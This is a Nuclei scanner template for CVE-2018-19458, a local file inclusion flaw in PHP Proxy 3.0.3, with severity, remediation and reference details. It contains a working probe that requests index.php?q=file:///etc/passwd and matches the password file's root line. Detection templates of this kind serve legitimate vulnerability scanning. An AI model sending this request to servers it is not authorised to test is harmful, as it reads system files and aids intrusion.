nuclei-templates/http/cves/2018/CVE-2018-19458.yaml

44 lines
1.5 KiB
YAML
Raw Normal View History

2021-08-02 23:20:58 +00:00
id: CVE-2018-19458
info:
name: PHP Proxy 3.0.3 - Local File Inclusion
author: daffainfo
severity: high
2022-06-20 16:23:09 +00:00
description: |
PHP Proxy 3.0.3 is susceptible to local file inclusion vulnerabilities that allow unauthenticated users to read files from the server via index.php?q=file:/// (a different vulnerability than CVE-2018-19246).
2023-09-06 12:57:14 +00:00
remediation: |
Upgrade PHP Proxy to a version that is not affected by the vulnerability (3.0.4 or later) or apply the necessary patches provided by the vendor.
reference:
2021-08-02 23:20:58 +00:00
- https://www.exploit-db.com/exploits/45780
- https://pentest.com.tr/exploits/PHP-Proxy-3-0-3-Local-File-Inclusion.html
- https://nvd.nist.gov/vuln/detail/CVE-2018-19458
- https://www.exploit-db.com/exploits/45780/
classification:
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score: 7.5
cve-id: CVE-2018-19458
cwe-id: CWE-287
2023-10-14 11:27:55 +00:00
epss-score: 0.08619
epss-percentile: 0.93774
2023-09-06 12:57:14 +00:00
cpe: cpe:2.3:a:php-proxy:php-proxy:3.0.3:*:*:*:*:*:*:*
metadata:
max-request: 1
2023-07-11 19:49:27 +00:00
vendor: php-proxy
product: php-proxy
tags: edb,cve,cve2018,lfi,proxy
2021-08-02 23:20:58 +00:00
http:
2021-08-02 23:20:58 +00:00
- method: GET
path:
- "{{BaseURL}}/index.php?q=file:///etc/passwd"
matchers-condition: and
matchers:
- type: regex
regex:
- "root:.*:0:0:"
2021-08-02 23:20:58 +00:00
- type: status
status:
- 200
# digest: 490a0046304402200f1c3c6ee76bf284d646c7a62abbc38c074359fcf1fac54914ca97f3d623c2a50220567c70c7146adb1dc60bab4b8785bd0316ba740f8e161f80e22e7aeb062d191c:922c64590222798bb761d5b6d8e72950